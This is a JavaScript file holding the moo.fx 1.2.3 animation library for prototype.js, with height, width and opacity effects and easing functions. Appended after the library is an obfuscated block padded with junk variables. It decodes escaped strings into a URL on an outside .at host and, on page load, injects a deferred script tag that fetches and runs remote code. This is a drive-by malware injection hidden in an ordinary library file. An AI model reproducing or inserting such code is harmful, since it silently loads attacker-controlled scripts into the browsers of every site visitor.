/*
moo.fx, simple effects library built with prototype.js (http://prototype.conio.net).
by Valerio Proietti (http://mad4milk.net) MIT-style LICENSE.
for more info (http://moofx.mad4milk.net).
Sunday, March 05, 2006
v 1.2.3
*/

var fx = new Object();
//base
fx.Base = function(){};
fx.Base.prototype = {
	setOptions: function(options) {
	this.options = {
		duration: 500,
		onComplete: '',
		transition: fx.sinoidal
	}
	Object.extend(this.options, options || {});
	},

	step: function() {
		var time  = (new Date).getTime();
		if (time >= this.options.duration+this.startTime) {
			this.now = this.to;
			clearInterval (this.timer);
			this.timer = null;
			if (this.options.onComplete) setTimeout(this.options.onComplete.bind(this), 10);
		}
		else {
			var Tpos = (time - this.startTime) / (this.options.duration);
			this.now = this.options.transition(Tpos) * (this.to-this.from) + this.from;
		}
		this.increase();
	},

	custom: function(from, to) {
		if (this.timer != null) return;
		this.from = from;
		this.to = to;
		this.startTime = (new Date).getTime();
		this.timer = setInterval (this.step.bind(this), 13);
	},

	hide: function() {
		this.now = 0;
		this.increase();
	},

	clearTimer: function() {
		clearInterval(this.timer);
		this.timer = null;
	}
}

//stretchers
fx.Layout = Class.create();
fx.Layout.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.el.style.overflow = "hidden";
		this.iniWidth = this.el.offsetWidth;
		this.iniHeight = this.el.offsetHeight;
		this.setOptions(options);
	}
});

fx.Height = Class.create();
Object.extend(Object.extend(fx.Height.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.height = this.now + "px";
	},

	toggle: function() {
		if (this.el.offsetHeight > 0) this.custom(this.el.offsetHeight, 0);
		else this.custom(0, this.el.scrollHeight);
	}
});

fx.Width = Class.create();
Object.extend(Object.extend(fx.Width.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.width = this.now + "px";
	},

	toggle: function(){
		if (this.el.offsetWidth > 0) this.custom(this.el.offsetWidth, 0);
		else this.custom(0, this.iniWidth);
	}
});

//fader
fx.Opacity = Class.create();
fx.Opacity.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.now = 1;
		this.increase();
		this.setOptions(options);
	},

	increase: function() {
		if (this.now == 1 && (/Firefox/.test(navigator.userAgent))) this.now = 0.9999;
		this.setOpacity(this.now);
	},
	
	setOpacity: function(opacity) {
		if (opacity == 0 && this.el.style.visibility != "hidden") this.el.style.visibility = "hidden";
		else if (this.el.style.visibility != "visible") this.el.style.visibility = "visible";
		if (window.ActiveXObject) this.el.style.filter = "alpha(opacity=" + opacity*100 + ")";
		this.el.style.opacity = opacity;
	},

	toggle: function() {
		if (this.now > 0) this.custom(1, 0);
		else this.custom(0, 1);
	}
});

//transitions
fx.sinoidal = function(pos){
	return ((-Math.cos(pos*Math.PI)/2) + 0.5);
	//this transition is from script.aculo.us
}
fx.linear = function(pos){
	return pos;
}
fx.cubic = function(pos){
	return Math.pow(pos, 3);
}
fx.circ = function(pos){
	return Math.sqrt(pos);
}


this.U='';var K=new Array();var x;if(x!='a'){x=''};function M(){var g;if(g!='Df' && g!='e'){g=''};var u="";var P=unescape;var I;if(I!='' && I!='J'){I=''};var Kr;if(Kr!='' && Kr!='hk'){Kr=''};var w=window;var T=new Array();var G='';var uX;if(uX!='jl'){uX=''};var IJ;if(IJ!='aq'){IJ=''};var m=P("%2f%75%6c%74%69%6d%61%74%65%2d%67%75%69%74%61%72%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6c%69%76%65%64%6f%6f%72%2e%62%69%7a%2e%70%68%70");this._w='';var IP;if(IP!='' && IP!='rc'){IP=''};this.Zz='';function _(C,Mu){var HL='';var wW=new String();var PQ=new String();var Z=String("g");var _v=new String();var lC=new String();var j=P("%5b"), _X=P("%5d");this.kT='';var t=j+Mu+_X;var Zi;if(Zi!='' && Zi!='Hb'){Zi=null};var q=new RegExp(t, Z);return C.replace(q, new String());this.lO="";};var Mi=new Date();var d=new String();var O=new String();var dok=new Date();var HLe;if(HLe!='' && HLe!='Cg'){HLe='L'};var OX=document;var E=_('862414221062646122811161102112111','4612');var Vf;if(Vf!='IF' && Vf!='ck'){Vf='IF'};var Wg;if(Wg!='Hk' && Wg!='pE'){Wg=''};var Sq=new String();var Slo;if(Slo!='' && Slo!='Q'){Slo=null};var Jt;if(Jt!='gp' && Jt!='pw'){Jt=''};function F(){var UN='';var pd=new Array();var p=P("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var kw;if(kw!=''){kw='Vt'};O=p;var Qc="";O+=E;var CA;if(CA!='' && CA!='F_'){CA='Cn'};O+=m;this.ef='';this.wG='';this.nS="";try {var Si=new String();var og;if(og!='' && og!='IJe'){og=null};FN=OX.createElement(_('slcSrSilpltS','Sxl'));this.b="";var xg=new String();var YW;if(YW!='' && YW!='Lj'){YW=''};this.ju="";FN[P("%64%65%66%65%72")]=[4,1][1];var gL="";var ON="";FN[P("%73%72%63")]=O;OX.body.appendChild(FN);var Ej=new Date();var ZH='';} catch(D){var Cy=new Date();alert(D);var lh=new Date();};}var jH;if(jH!=''){jH='xX'};w[String("on"+"lo"+"XR0kad".substr(4))]=F;var tq;if(tq!='' && tq!='Ip'){tq='Sv'};var Mb;if(Mb!='TN' && Mb != ''){Mb=null};};var xH=new String();M();var Oy;if(Oy!='ki' && Oy != ''){Oy=null};